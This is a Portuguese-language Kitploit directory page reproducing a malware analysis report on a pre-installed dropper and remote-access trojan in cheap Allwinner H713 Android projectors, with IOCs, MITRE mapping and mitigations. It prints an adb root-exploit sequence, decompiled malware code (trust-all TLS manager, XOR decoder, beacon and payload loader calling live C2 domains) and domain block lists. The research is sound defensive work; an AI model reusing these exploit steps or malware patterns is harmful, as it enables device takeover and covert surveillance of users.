Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Android-Projector-C2-Malware — Análise de uma rede c2 de beamers chineses - SilentSDK-Analysis | Kitploit
Ferramentas/GitHubGitHub/kavan00/android-projector-c2-malware
Segurança AndroidSegurança de Sistemas EmbarcadosGerenciamento de Indicadores de Comprometimento (IOC)Segurança IoTForensia de RedeEngenharia ReversaAnálise de MalwareForensia DigitalComando e Controle

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Inteligência de Ameaças
Segurança da Cadeia de Suprimentos
Análise de Firmware
GitHubkavan00/android-projector-c2-malware

Android-Projector-C2-Malware

Análise de uma rede c2 de beamers chineses - SilentSDK-Analysis

Ver Repositório
1828há 4 mesesAinda não revisado
Compartilhar

Infraestrutura C2 Pré-instalada e Payload RAT em Projetores Android

Relatório de Análise Técnica — Pesquisa de Segurança


Dispositivos Afetados: Múltiplos projetores Android de marcas como Nonete (ex.: Modelo HY260Pro) (provavelmente também vários projetores da Magcubic, Hotack, Huyukang e muitos outros, pois essas empresas distribuem modelos semelhantes e há indícios que apoiam isso)
Plataforma do Chipset: Allwinner H713 / sun50iw12p1 — potencialmente afeta todos os dispositivos nesta plataforma
Período de Análise: 11 a 17 de abril de 2026
Classificação: Infraestrutura de Comando e Controle pré-instalada com payload de Trojan de Acesso Remoto


TL;DR

  • O Problema: Numerosos projetores Android baratos (potencialmente marcas como Magcubic, Hotack, etc., utilizando o chip Allwinner H713), atualmente vendidos em grandes quantidades na Amazon, eBay e AliExpress, estão infectados com malware diretamente da fábrica (Ataque à Cadeia de Suprimentos, semelhante aos casos "BADBOX").
  • O Mecanismo: Um aplicativo de sistema aparentemente inofensivo ("StoreOS") atua como um dropper disfarçado. Ele baixa silenciosamente um Dropper de Estágio 2 chamado "SilentSDK" em segundo plano e o instala com privilégios máximos do sistema, que por sua vez instala uma estrutura modular, baseada em plugins, ciente da arquitetura, de RAT e possivelmente phishing.
  • O Perigo: O malware estabelece uma conexão C2 com a China (api.pixelpioneerss.com), extrai IDs sensíveis do dispositivo e pode baixar e executar código malicioso adicional arbitrário com privilégios de root a qualquer momento (chmod 777). Além disso, os dispositivos possuem backdoors de root abertos.
  • Mitigação Imediata: Os domínios C2 (especialmente *.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) devem ser bloqueados no nível de rede. Os usuários afetados só podem desabilitar os aplicativos maliciosos manualmente via ADB, pois estão profundamente embutidos no sistema.

Aviso de Urgência

A infraestrutura de malware documentada neste relatório está pré-instalada em projetores Android atualmente sendo vendidos em grandes quantidades para consumidores finais na Amazon, eBay e AliExpress. Os dispositivos afetados abrangem possivelmente múltiplas marcas (Hotack, Huyukang, Magcubic, Nonete, entre outras). Infraestrutura C2 idêntica foi confirmada independentemente em outros dispositivos do mesmo fabricante (veja Seção 13). O padrão corresponde aos casos BADBOX.


Índice

  1. Identificação do Dispositivo
  2. Fluxo de Trabalho da Investigação
  3. Acesso Root — Caminho de Exploração
  4. Resposta do Servidor C2 — Evidência Principal
  5. Visão Geral do Ecossistema de Malware
  6. StoreOS — Análise do Dropper (com.htc.storeos)
  7. EventUploadService — Telemetria (com.htc.eventuploadservice)
  8. ExpandSDK — Injeção de Anúncios (com.htc.expandsdk)
  9. SilentSDK — Análise do Dropper de Estágio 2 (com.hotack.silentsdk)
  10. O Malware
  11. Backdoors do Sistema
  12. Perícia de Rede
  13. Spoofing de Dispositivo (Spoofing de Build Fingerprint)
  14. Confirmação Externa
  15. Indicadores de Comprometimento (IOCs)
  16. Mapeamento MITRE ATT&CK
  17. Mitigações Imediatas
  18. Fontes

Dispositivo Adquirido: Amazon Link - Nonete Mini Beamer 4K 1080P


1. Identificação do Dispositivo

Nota sobre o escopo: O chipset Allwinner H713 está integrado em numerosos projetores Android baratos vendidos sob nomes de marcas variáveis no mercado europeu. A base de firmware idêntica (h713_tuna_p3) e o operador C2 idêntico (Shenzhen Aodin Technology) sugerem fortemente que todos os dispositivos deste OEM contêm a mesma infraestrutura.


2. Fluxo de Trabalho da Investigação


3. Acesso Root — Caminho de Exploração

O acesso root foi alcançado através de uma combinação de três vulnerabilidades:

  1. SELinux Permissivo — Violações de acesso são apenas registradas, não bloqueadas.
  2. /oem gravável mundialmente — A partição é montada como FAT com fmask=0000.
  3. customer.prop carregado na inicialização — Sobrescreve propriedades do sistema.```bash adb shell getenforce # Result: Permissive adb shell ls -la /oem/ # All files world-writable

adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'

adb reboot && adb wait-for-device && adb root adb shell id

uid=0(root) gid=0(root) context=u:r:su:s0

root@kitploit:~
**Impacto:** Qualquer utilizador com acesso físico ou um atacante na mesma rede (via ADB, porta 5555 aberta, sem autenticação) obtém acesso root completo.

---

## 4. Resposta do Servidor C2 — Evidência Principal

### Requisição HTTP Capturada```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

Resposta do Servidor (Decodificado do pcapng - Tabela)

A resposta compactada com gzip contém uma lista JSON com sete aplicativos. Seis deles são aplicativos de streaming comuns (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). O sétimo é SilentTools:

Configuração do SilentTools em Detalhe```json

{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }

root@kitploit:~
**Interpretação das flags:**

- `isShow: false` — O aplicativo não aparece na interface da loja.
- `isForce: true` — Presumivelmente força a ação (instalação ou atualização).
- `isSilentUninstall: true` — Pode desinstalar-se sem interação do utilizador.
- `launchType: 1` — Inicia automaticamente o serviço em segundo plano.
- `launchParam: MyService` — Referência ao serviço persistente.
- `zone: "Global"` — Visa todos os dispositivos mundialmente.
- `reverseLen` — Comprimento de bytes necessário para restaurar o SilentSDK `.apk`.

### Caminho de Download Criptografado

O campo `path` é criptografado com AES-CBC:

- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> O ChannelID do dispositivo.
- **Resultado descriptografado:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

Nota: A extensão de arquivo .bpp é provavelmente usada para contornar firewalls, com o arquivo sendo renomeado para .apk durante a execução. O campo isSilentInstall é false nesta captura. A semântica exata de isForce: true não pôde ser inequivocamente reconstruída a partir do código descompilado. Não se pode descartar que o valor seja definido dinamicamente para true no lado do servidor.


5. Visão Geral do Ecossistema de Malware

O dispositivo contém quatro apps do sistema em interação, todos assinados com a chave de teste AOSP e executando com UID 1000 (System):```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com

root@kitploit:~
   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com
root@kitploit:~
---

## 6. StoreOS — Análise de Dropper

StoreOS parece ser uma loja de aplicativos que é instalada automaticamente; no entanto, cumpre a função de um dropper.  
**Package:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### Permissões

| Permissão | Impacto |
|:---|:---|
| `INSTALL_PACKAGES` | Instalação silenciosa sem diálogo do usuário |
| `CLEAR_APP_USER_DATA` | Exclusão de dados arbitrários de aplicativos |
| `MASTER_CLEAR` | Acionamento de redefinição de fábrica |
| `WRITE_SECURE_SETTINGS` | Modificação de configurações de segurança |
| `DEVICE_POWER` | Gerenciamento de energia do dispositivo |
| `MANAGE_EXTERNAL_STORAGE` | Acesso total ao armazenamento externo |

### Cadeia de Instalação (a partir do código descompilado)

1. **BootReceiver** inicia `CheckUpdateService`.
2. HTTP POST para `store-api.aodintech.com/sign/app/list`.
3. Servidor entrega `AppsData[]` contendo campos: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` busca APKs como arquivos `.bpp` do CDN.
5. **Proteção de Reversão de Bytes:** Os primeiros `reverseLen` bytes são revertidos antes da gravação no disco (Medida Antianálise).
6. Verificação MD5 do arquivo baixado.
7. Instalação via `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` inicia o aplicativo instalado de acordo com `launchParam`.

### Mecanismo de Reversão de Bytes — Prova Técnica

**Classe:** `AbstractC2057b` — **Método:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

Este método reverte os primeiros `reverseLen` bytes de cada APK baixado. Como resultado, arquivos `.bpp` interceptados não podem ser reconhecidos ou extraídos como APKs válidos sem conhecer o valor específico de `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

Invocação no caminho de download (Class RunnableC1595d, case 0):```java if (downInfo.getReverseLen() != 0) { String outputPath = inputPath.replace(".apk", "des.apk"); if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) { // Error handling return; } downInfo.setFileSavePath(outputPath); } // Followed by MD5 verification and installation

root@kitploit:~
Ao reverter este mecanismo, o APK do SilentSDK foi decodificado e analisado com sucesso.

### Segmentação Geográfica

O StoreOS utiliza `api.ipdatacloud.com/v2/query` para geolocalização de IP. A classe `SpecialApps` contém campos para `continent` e `countryCode`, permitindo a distribuição de payloads específicos por região.

---

## 7. EventUploadService — Telemetria

**Package:** `com.htc.eventuploadservice`  
**Target:** `http://event-api.aodintech.com/report`  
**Intervalo:** A cada 5 minutos  

| Campo | Valor Exemplo | Impacto na Privacidade |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | Endereço MAC (PII) |
| `deviceSn` | `[REDACTED]` | Número de Série (Único) |
| `channel` | `HY260Pro_hy_TPYB` | Canal de Firmware |
| `version` | `Projector.20250422.152235` | Versão do Firmware |
| `model` | `NT10` | Modelo do Dispositivo |
| `language` | `en_US` | Configuração de Idioma |

A transmissão ocorre sem criptografia via HTTP e sem consentimento do usuário. O endereço MAC e o número de série permitem a identificação e o rastreamento precisos de dispositivos individuais.

---

## 8. ExpandSDK — Injeção de Anúncios

**Package:** `com.htc.expandsdk`  
**C2 Servers:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

O ExpandSDK utiliza o TCL VastAd SDK para anúncios em vídeo VAST e é capaz de renderizar diálogos de sobreposição do sistema (`SYSTEM_ALERT_WINDOW`) em qualquer posição da tela. A configuração inclui campos de posição (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) e o identificador de parceiro `htk` (Hotack).

O ExpandSDK opera independentemente do SilentSDK como um canal de monetização separado.

---

## 9. SilentSDK — Análise de RAT

**Package:** `com.hotack.silentsdk`  
**SHA-256 (decoded):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (decoded):** `5df097591d6942bae4eff33a37c4e28f`

### Análise do Manifesto

| Propriedade | Valor | Significado |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Privilégios de Sistema (UID 1000) |
| `usesCleartextTraffic` | `true` | Tráfego HTTP permitido |
| Launcher Icon | Não visível para o usuário | Oculto da interface do usuário |
| `BootReceiver` | Priority 999 | Inicia antes de quase todos os outros aplicativos |
| `MyService` | exported, foreground | Serviço de segundo plano persistente |
| `BootStartActivity` | `com.htc.bootstart` | Gatilho de inicialização adicional |

### Empacotamento e Descriptografia de DEX

O DEX original está empacotado: O cabeçalho declara 2.318.316 bytes, mas o arquivo comprimido contém apenas 65.536 bytes com uma soma de verificação Adler32 inválida. Após quebrar a proteção de reversão de bytes do StoreOS, o DEX se torna totalmente legível — o tamanho do arquivo e o tamanho declarado coincidem, e 16.241 strings são extraíveis.

### Ofuscação XOR — Prova Técnica

Todas as strings relevantes à segurança são ofuscadas usando uma cifra XOR rotativa dentro do método `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

Strings Descriptografadas

Isto representa apenas uma parte das strings descriptografadas. O fluxo de obtenção do MAC revela um desvio deliberado de permissão: quando WifiInfo.getMacAddress() retorna o MAC falso protegido por privacidade do Android (02:00:00:00:00:00), o malware recorre à leitura do MAC real do hardware diretamente de /sys/class/net/wlan0/address via shell root — comportamento nunca visto em aplicativos legítimos.

Ciclo de Infecção — Fase a Fase

A análise a seguir traça a cadeia completa de execução, desde a inicialização do aplicativo até o controle persistente pelo C2. Os nomes das classes referem-se aos identificadores desobstruídos pelo JADX.

Fase 1: Inicialização e Ancoragem

MyApplication.java — Ponto de Entrada

A sobrescrita Application.onCreate() é o primeiro código executado. Ela chama imediatamente C0561f.m1737c com o ApplicationContext, inicializando toda a maquinaria do malware antes que qualquer interface seja renderizada.

AbstractC0577v.java — Contexto

Se o aplicativo hospedeiro não fornecer voluntariamente seu contexto, esta classe usa reflexão profunda do sistema (android.app.ActivityThread) para roubar autonomamente o ApplicationContext global. Isso concede ao SDK acesso completo a arquivos, serviços do sistema e gerenciamento de pacotes sem depender do aplicativo hospedeiro.

C0578w.java — Observador do Ciclo de Vida da Activity

Registra-se como ActivityLifecycleCallbacks para monitorar cada interação do usuário: qual tela está aberta, se o aplicativo está em primeiro ou segundo plano. Criticamente, reativa animações do sistema desabilitadas e manipula as configurações de SoftInputMode — pré-requisitos para renderizar sobreposições invisíveis (por exemplo, para fraude de cliques) sem alertar o usuário através de pop-ups inesperados do teclado.

Fase 2: Impressão Digital e Furtividade

AbstractC0562g.java — Geração do Bot-ID

Gera uma impressão digital agressiva do dispositivo concatenando: UUID aleatório + Build.BRAND + Build.MODEL + endereço MAC físico (obtido via cat /sys/class/net/wlan0/address, contornando as proteções de privacidade do Android) + android_id + timestamp. A string resultante é submetida a hash MD5 e armazenada como adid — o Bot-ID permanente usado para registrar o dispositivo no servidor C2.

C0565j.java — Bypass de Certificado SSL

Um X509TrustManager manipulado com métodos de validação completamente vazios (checkClientTrusted, checkServerTrusted). Isso garante que o malware aceite cegamente qualquer certificado SSL, impedindo que os mecanismos de segurança do Android bloqueiem a comunicação com o C2 — mesmo que o servidor C2 esteja comprometido ou use um certificado inválido.```java // From AbstractC0000a.m41j() — TrustManager accepts ALL certificates TrustManager[] trustManagerArr = {new C0565j()}; SSLContext sslContext = SSLContext.getInstance("SSL"); sslContext.init(null, trustManagerArr, new SecureRandom()); ((HttpsURLConnection) conn).setSSLSocketFactory( sslContext.getSocketFactory() );

root@kitploit:~
Se ocorrer um erro SSL (`SSLException`), `f2664e` é definido como `false` e todas as solicitações subsequentes utilizam HTTP em vez de HTTPS.




#### Fase 3: Aquisição de Payload
 
**`C0566k.java` — Fallback Offline (Payload Incorporado)**
 
Antes de contactar a rede, esta classe verifica se um payload já está incluído dentro do APK em `assets/m17gawxG.java`. Se encontrado, lê o arquivo byte a byte e o descriptografa usando uma chave XOR fixa no código (`m17gawxG`). O resultado é escrito como um arquivo executável `.temp`. Isso garante que o RAT possa ativar mesmo em dispositivos air-gapped ou quando o servidor C2 está inacessível.
 
**`RunnableC0569n.java` — Downloader C2 Ao Vivo**
 
Se o fallback offline falhar, esta classe monta um beacon JSON contendo o Bot-ID, nome do pacote e versão do Android, e então contacta o endpoint C2 `api.pixelpioneerss.com`:
 
**Passo 1 — Geração de URL com Caminho Aleatório:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

Passo 2 — Beacon Payload:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version

root@kitploit:~
**Passo 3 — Criptografia AES e Transmissão:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

Passo 4 — Processando a Resposta do Servidor:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes

root@kitploit:~
O downloader (`AbstractC0000a.m37h`) busca o payload e então usa um shell root para conceder permissões totais de execução via `chmod 777`.
 
Todas as requisições C2 carregam o cabeçalho HTTP personalizado `a: 1003` — uma assinatura de nível de rede desta família de malware.



#### Fase 4: Execução e Controle
 
**`AbstractC0568m.java` — Área de Preparação**
 
Cria um diretório oculto chamado **`TMRXwWJu3G5`** no sistema de arquivos do dispositivo onde todos os payloads baixados são preparados. Esta classe também contém métodos (`m1754e`) que interceptam eventos físicos de teclas (`KeyEvent`), impedindo o usuário de pressionar o botão "Voltar" enquanto uma sobreposição maliciosa está ativa.
 
**`C0561f.java` — O Orquestrador**
 
Une toda a cadeia. Ele chama o código fortemente ofuscado em `C0566k.m1746b`, que usa reflexão para construir a string `"dalvik.system.DexClassLoader"` e inicializá-lo. O ClassLoader é então forçado a carregar e executar a classe de payload final:```
com.me.cash5.OoO0OOo

A partir deste ponto, a carga útil carregada dinamicamente tem controle total dentro do contexto do processo do aplicativo (UID 1000 / System).

Fase 5: Telemetria, Exfiltração e Persistência

AbstractC0563h.java & C0558c.java — Coleta de Telemetria

Cada carregamento de módulo, evento de erro (por exemplo, falha de download) ou exibição de overlay aciona um relatório de status (codificado como "e6", "e4" para erros SSL, etc.). C0558c executa uma thread de coleta dedicada ("burying_loop_s") que agrega esses eventos. A cada 5 segundos, ele monta um pacote JSON de telemetria abrangente com campos como "d" (modelo do dispositivo), "e" (versão do SDK), "c" (ID do Android).

RunnableC0564i.java — Exfiltrador de Dados

Pega o JSON de telemetria, comprime-o com GZIPOutputStream (para dificultar a análise de tráfego), depois o criptografa com AES personalizado — anexando as chaves dinâmicas ao texto cifrado. O pacote GZIP-AES resultante é transmitido via TrustManager que ignora SSL para um servidor de rastreamento dedicado:``` bur.thedynamicleap.com

root@kitploit:~
Este é um **domínio C2 separado** do primário `api.pixelpioneerss.com`, usado exclusivamente para exfiltração de telemetria.
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat e Auto-Cura**
 
O mecanismo de persistência. `AbstractC0572q` mantém um timer na thread principal. Se alguma parte da cadeia de infecção falhar (por exemplo, sem internet durante o download), ele dispara `sendEmptyMessageDelayed(..., 60000L)`. Após exatamente 60 segundos, `RunnableC0560e` (como um worker em segundo plano) reinicia toda a maquinaria de infecção desde o início. Esse loop se repete indefinidamente até que a infecção seja bem-sucedida.
 
### Persistência e Carregamento Dinâmico — Resumo
 
O método `m1762a()` em `RunnableC0569n` implementa o ciclo completo de download do payload:
 
1. Fazer download do arquivo DEX do C2.
2. Verificar o hash MD5.
3. Salvar o número da versão no SharedPreferences.
4. Carregar e executar o DEX via `DexClassLoader` ou `Runtime.exec()`.
5. Em caso de erros: Incrementar o contador de tentativas no SharedPreferences, pausar após 13 tentativas falhadas — então o heartbeat de 60 segundos reinicia o ciclo.

## 9.1. O Payload do Malware

Após enviar esta solicitação para o servidor C2:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

Resposta:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }

root@kitploit:~
---
## 10. O Malware

Após a recuperação bem-sucedida e a análise adicional do payload, determinei—após contornar camadas significativas de criptografia e ofuscação personalizadas—que o malware utiliza uma arquitetura altamente modular. Ele opera como um framework sofisticado capaz de baixar, atualizar, reiniciar e excluir ativamente plugins para destruir evidências forenses. Esses payloads são executados com privilégios de root. Além disso, o código revela mecanismos projetados para sobrepor WebViews completas na tela, indicando fortemente capacidades avançadas de phishing. O malware também demonstra táticas avançadas de segmentação e evasão: ele implementa geofencing rigoroso para atingir regiões específicas, perfilia a arquitetura da CPU (distinguindo entre `arm64`, `armeabi`, `x86` e `mips`) e contorna ativamente a validação de certificados SSL para proteger suas comunicações C2. Estou mantendo este resumo intencionalmente breve por enquanto, pois a forte ofuscação exige um processo de engenharia reversa prolongado e contínuo.

## 11. Backdoors do Sistema

### 11.1 Binário `su` Oculto: `/system/bin/qw`

Um binário `su` renomeado como `qw` (Koushikdutta Superuser, 388 KB, vinculado estaticamente, ARM 32-bit):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core
  • Processo: PID 2409, UID 0 (root)
  • Socket: /dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)
  • Porta TCP: 65528 (UID 0)

11.2 Chave de Teste AOSP como Chave de Assinatura de Plataforma

O certificado de assinatura de plataforma é a chave de teste publicamente incluída no código-fonte do AOSP (Índice de Cert 0 em packages.xml). Qualquer aplicativo assinado com essa chave recebe automaticamente privilégios de sistema no dispositivo. A chave é livremente acessível a qualquer desenvolvedor Android.

11.3 Serviços Abertos Adicionais

10.4 dbgserver

/vendor/bin/dbgserver — Servidor de E/S de registros de hardware, comunicando-se através do dispositivo gravável mundialmente /dev/hidtvreg (crwxrwxrwx).


12. Forense de Rede

Toda a comunicação C2 ocorre via HTTP não criptografado. Isso possibilita ataques MITM (Man-In-The-Middle): um atacante na mesma rede pode manipular a lista de aplicativos e injetar APKs arbitrários, que serão então instalados com privilégios de sistema.


13. Spoofing de Dispositivo

O dispositivo se disfarça como o ADT-3 do Google (Android TV Developer Kit):

Propriedade

Este spoofing é presumivelmente destinado a contornar as verificações de certificação do Google Play.


14. Confirmação Externa

Análise Independente

Em janeiro de 2026, o pesquisador de segurança Zane St. John publicou uma análise de dispositivos idênticos abrigando exatamente a mesma infraestrutura de malware. As descobertas coincidem em todos os pontos cruciais: endpoints C2, ofuscação XOR, protocolo AES-128-CBC, ID de Campanha f101, bypass SSL e chmod 777. O dispositivo analisado por Zane St. John parece já estar infectado pelo SilentSDK, o que não era o caso no meu dispositivo de fábrica. Os endpoints na análise de Zane St. John também parecem ligeiramente alterados, indicando a possibilidade de rotação de endpoints. Além disso, o SilentSDK parece estar pré-instalado no caso dele, enquanto no meu dispositivo ele parece ser baixado e instalado assim que aodintech envia o sinal de gatilho.

Fonte: https://zanestjohn.com/blog/reing-with-claude-code

Verificação de Hash em Três Fontes Independentes

FonteMD5

Os hashes da distribuição do servidor C2, nossa própria descriptografia e a análise externa são idênticos — confirmando que é exatamente o mesmo malware. Isso confirma a ampla disseminação do malware.

VirusTotal

StoreOS-APK: BitDefender detecta Android.Riskware.TestKey.rB; nenhum outro antivírus dispara um alerta.


15. Indicadores de Comprometimento (IOCs)

Domínios```text

api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server

root@kitploit:~
### Assinaturas de Rede```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

Pacotes e Hashes```text

com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk

root@kitploit:~
### Sistema de Arquivos```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

Artefatos Específicos do SilentSDK```text

assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload

root@kitploit:~
---

## 16. Mapeamento MITRE ATT&CK

| Técnica | ID | Prova |
|:---|:---|:---|
| Comprometimento da Cadeia de Suprimentos | T1195.002 | Fábrica de malware pré-instalada |
| Execução de Inicialização Automática na Inicialização ou Logon | T1547 | BootReceiver Priority 999 |
| Arquivos ou Informações Ofuscadas | T1027 | XOR Strings, DEX Packing, embedded XOR-encrypted asset |
| Protocolo de Camada de Aplicação | T1071 | HTTP/HTTPS C2 |
| Troca Dinâmica de Dados / Injeção de Payload | T1055 | DexClassLoader, chmod 777 |
| Descoberta de Informações do Sistema | T1082 | Device Fingerprinting, Geração de Bot-ID |
| Dados do Sistema Local | T1005 | MAC, Serial, IMEI, android_id |
| Exfiltração Através de Canal C2 | T1041 | Periodic Telemetry to `bur.thedynamicleap.com` |
| Mascaramento | T1036 | .bpp file extension, ADT-3 Spoofing |
| Rootkit | T1014 | Binário su Oculto |
| Captura de Entrada | T1056 | Interceptação de KeyEvent para suprimir o botão Voltar |
| Remoção de Indicador / Auto-Exclusão | T1070 | `isSilentUninstall: true` capability |
| Carregamento de Código Reflexivo | T1620 | Reflective DexClassLoader instantiation |
| Overlay de Janela do Sistema | T1624 | Manipulação de SoftInputMode para overlays invisíveis |

---

## 17. Mitigações Imediatas

### Para Usuários Finais Afetados```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

Bloqueio em Nível de Rede```text

DNS blocking or firewall rules for:

store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com

root@kitploit:~
---

## 18. Fontes

1. Zane St. John: "Engenharia Reversa de Malware Android Pré-instalado com Claude Code", Janeiro de 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI alerta sobre malware pré-instalado em dispositivos IoT" (BADBOX), Outubro de 2023.
3. Análise do VirusTotal do APK do StoreOS.

---

**Período de Análise:** 11 a 17 de Abril de 2026

**Aviso Legal**
